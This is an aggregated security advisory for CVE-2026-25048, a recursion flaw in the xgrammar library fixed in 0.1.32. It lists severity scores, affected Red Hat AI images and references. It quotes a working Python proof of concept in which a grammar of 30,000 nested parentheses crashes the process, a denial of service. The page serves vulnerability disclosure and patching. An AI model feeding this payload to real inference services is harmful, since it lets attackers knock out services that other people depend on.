CVE-2026-25048
JSON

8.7high

xgrammar: Multi-layer nesting causes DoS

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
1.35% (higher than 72% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-7rgv-gqhr-fxg3PYSEC-2026-2322

Description

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

Affected

Product or packageVersionsReported by
mlc-ai xgrammar< 0.1.32, before 0.1.32CVE List, NVD
rhaiis/vllm-cuda-rhel9Not specified
Not affected: from 1774351144 before *
CVE List
rhaiis/model-opt-cuda-rhel9Not specified
Not affected: from 1774547384 before *
CVE List
rhaiis/vllm-rocm-rhel9Not specified
Not affected: from 1775252598 before *
CVE List
rhoai/odh-vllm-gaudi-rhel9Not specified
Not affected: from 1780069069 before *
CVE List
rhoai/odh-vllm-cuda-rhel9Not specified
Not affected: from 1783998774 before *
CVE List
rhoai/odh-vllm-rocm-rhel9Not specified
Not affected: from 1783998857 before *
CVE List
rhaiis/vllm-tpu-rhel9Not specifiedCVE List
rhelai3/bootc-aws-cuda-rhel9Not specifiedCVE List
rhelai3/bootc-azure-cuda-rhel9Not specifiedCVE List
rhelai3/bootc-cuda-rhel9Not specifiedCVE List
rhelai3/bootc-gcp-cuda-rhel9Not specifiedCVE List

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-674

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.

GitHub Advisory Database
Summary

The multi-level nested syntax caused a segmentation fault (core dump).

Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact

DoS

NVD (es)

xgrammar es una biblioteca de código abierto para una generación estructurada eficiente, flexible y portátil. Antes de la versión 0.1.32, la sintaxis anidada multinivel causaba un fallo de segmentación (volcado de memoria principal). Este problema ha sido parcheado en la versión 0.1.32.

References

https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3evidence, exploit, vendor-advisory, web
https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32advisory, release-notes, web
https://access.redhat.com/security/cve/CVE-2026-25048vdb-entry, web
https://bugzilla.redhat.com/show_bug.cgi?id=2444840issue-tracking, report
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.jsonweb
https://access.redhat.com/errata/RHSA-2026:6761advisory, vendor-advisory
https://access.redhat.com/errata/RHSA-2026:5809advisory, vendor-advisory
https://access.redhat.com/errata/RHSA-2026:6762advisory, vendor-advisory
https://access.redhat.com/errata/RHSA-2026:42644vendor-advisory
https://access.redhat.com/errata/RHSA-2026:24977advisory, vendor-advisory
https://nvd.nist.gov/vuln/detail/CVE-2026-25048advisory
https://github.com/mlc-ai/xgrammarpackage

Sources

SourceRecordLicence
CVE ListCVE-2026-25048 changed 2026-07-21CVE Terms of Use
GitHub Advisory DatabaseGHSA-7rgv-gqhr-fxg3 changed 2026-09-10CC-BY-4.0
NVDCVE-2026-25048 changed 2026-07-21Public domain
PyPA Advisory DatabasePYSEC-2026-2322 changed 2026-07-13CC-BY-4.0